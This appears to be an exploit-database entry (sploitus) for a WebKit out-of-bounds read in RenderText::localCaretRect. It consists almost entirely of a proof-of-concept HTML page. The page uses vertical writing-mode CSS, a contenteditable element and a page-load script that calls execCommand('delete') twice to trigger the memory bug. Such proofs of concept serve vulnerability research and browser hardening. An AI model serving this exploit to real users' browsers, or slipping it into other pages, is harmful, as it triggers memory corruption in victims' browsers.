Exploit for WebKit: out-of-bounds read in WebCore::RenderText::localCaretRect
Exploit Code
## https://sploitus.com/exploit?id=SSV:96887
<style>
* { max-height: 0; -webkit-text-combine: horizontal; -webkit-writing-mode: vertical-rl; }
</style>
<script>
function go() {
window.getSelection().setPosition(h,1);
document.execCommand("delete", false);
document.execCommand("delete", false);
}
</script>
<body onload=go()>
<listing>
<dd contenteditable="true">
<h3 id="h">I>EO~P</h3>